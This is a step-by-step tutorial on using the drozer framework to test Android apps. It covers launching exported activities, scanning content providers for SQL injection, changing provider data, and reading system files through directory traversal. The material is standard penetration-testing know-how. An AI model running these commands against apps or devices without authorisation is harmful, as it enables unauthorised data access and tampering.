# Drozer

## **\[Terminal] Start a drozer session** <a href="#id-3e78" id="id-3e78"></a>

1. open drozer-agent application inside android emulator, toggle it on.

<figure><img src="https://miro.medium.com/v2/resize:fit:494/1*3py-wqGEKbHXZ9dc00C-jw.png" alt="" height="140" width="494"><figcaption></figcaption></figure>

2\. open Terminal inside linux host machine, type the following to establish communication between drozer and drozer-agent.

```
adb forward tcp:31415 tcp:31415
```

<figure><img src="https://miro.medium.com/v2/resize:fit:417/1*7zTKx4KETA1Cda7ExUk0hA.png" alt="" height="152" width="417"><figcaption></figcaption></figure>

3\. open Terminal inside windows host machine, type the following to start drozer.

```
drozer console connect
```

<figure><img src="https://miro.medium.com/v2/resize:fit:451/1*h_c2AwIYFbS9gMwdtzCscA.png" alt="" height="382" width="451"><figcaption></figcaption></figure>

## \[Drozer] Find the package name of the vulnerable application <a href="#id-3c54" id="id-3c54"></a>

```
run app.package.list -f <string>
```

<figure><img src="https://miro.medium.com/v2/resize:fit:390/1*KNo7zzjtEFoZbRLsB8oq_w.png" alt="" height="117" width="390"><figcaption></figcaption></figure>

## \[Drozer] Show package information <a href="#cd06" id="cd06"></a>

```
run app.package.info -a <package_name>
```

<figure><img src="https://miro.medium.com/v2/resize:fit:575/1*BYlZsHcwX8if2q0Xt6Uw1Q.png" alt="" height="447" width="575"><figcaption></figcaption></figure>

## \[Drozer] Identify attack surface <a href="#id-7b05" id="id-7b05"></a>

```
run app.package.attacksurface <package_name>
```

<figure><img src="https://miro.medium.com/v2/resize:fit:700/1*xAYfKE-yUsiD3KgfSM7U7g.png" alt="" height="251" width="700"><figcaption></figcaption></figure>

## \[Drozer] Exploit exported activities <a href="#ac65" id="ac65"></a>

### List exported activities <a href="#id-49c3" id="id-49c3"></a>

```
run app.activity.info -a <package_name>
```

<figure><img src="https://miro.medium.com/v2/resize:fit:586/1*pUkLgmRW8u_RE-b3tIVmpw.png" alt="" height="267" width="586"><figcaption></figcaption></figure>

### Invoke exported activities <a href="#id-0b8b" id="id-0b8b"></a>

```
run app.activity.start -a <package_name> <exported_activity_name>
```

<figure><img src="https://miro.medium.com/v2/resize:fit:700/1*7phS7cOI0C8X6553bT9ApA.png" alt="" height="45" width="700"><figcaption></figcaption></figure>

<figure><img src="https://miro.medium.com/v2/resize:fit:589/1*rGEWREfb4IsDe3fPjCzKbQ.png" alt="" height="231" width="589"><figcaption></figcaption></figure>

## \[Drozer] Exploit exported content providers <a href="#id-9cec" id="id-9cec"></a>

### Find accessible content URIs <a href="#a4c0" id="a4c0"></a>

```
run scanner.provider.finduris -a <package_name>
```

<figure><img src="https://miro.medium.com/v2/resize:fit:700/1*5WJEKresvEtiZcAXyc1sQQ.png" alt="" height="323" width="700"><figcaption></figcaption></figure>

### SQLi vulnerability <a href="#id-0d9d" id="id-0d9d"></a>

List accessible SQLi injection points and accessible content URIs.

```
run scanner.provider.injection -a <package_name>
```

<figure><img src="https://miro.medium.com/v2/resize:fit:510/1*7rXM2-R0TjE4le4tHlsWgQ.png" alt="" height="346" width="510"><figcaption></figcaption></figure>

Display SQL tables for the package name if it is vulnerable to SQLi.

```
run scanner.provider.sqltables -a <package_name>
```

<figure><img src="https://miro.medium.com/v2/resize:fit:684/1*mSBD-Pg9nEddInv-lH3ARA.png" alt="" height="291" width="684"><figcaption></figcaption></figure>

\[CRUD] query the content.

<figure><img src="https://miro.medium.com/v2/resize:fit:700/1*8P95C0ya7Vy-DYNIJvGf0g.png" alt="" height="199" width="700"><figcaption></figcaption></figure>

\[CRUD] insert the content.

<figure><img src="https://miro.medium.com/v2/resize:fit:700/1*r6tubyf_1NuSVZIZvWAIZA.png" alt="" height="175" width="700"><figcaption></figcaption></figure>

\[CRUD] update the content.

<figure><img src="https://miro.medium.com/v2/resize:fit:700/1*6FGxh0A4h--kf7cWdojzfA.png" alt="" height="105" width="700"><figcaption></figcaption></figure>

\[CRUD] delete the content.

<figure><img src="https://miro.medium.com/v2/resize:fit:700/1*B4wGH8C9MyGjkGQK57VfXA.png" alt="" height="200" width="700"><figcaption></figcaption></figure>

### Directory traversal vulnerability <a href="#b78b" id="b78b"></a>

List accessible content URIs that is vulnerable to directory traversal.

```
run scanner.provider.traversal -a <package_name>
```

<figure><img src="https://miro.medium.com/v2/resize:fit:685/1*V3EcEvm4IuMr-oeM_hTEsg.png" alt="" height="352" width="685"><figcaption></figcaption></figure>

Exploit directory traversal vulnerability.

```
run app.provider.read <content_uri>../../etc/hosts
run app.provider.read <content_uri>../../proc/cpuinfo
```

<figure><img src="https://miro.medium.com/v2/resize:fit:700/1*20-N3_5l_bgCWFwX-c6TvQ.png" alt="" height="100" width="700"><figcaption></figcaption></figure>

<figure><img src="https://miro.medium.com/v2/resize:fit:700/1*QoeJzaOiN3Tv07eM2kI21w.png" alt="" height="430" width="700"><figcaption></figcaption></figure>
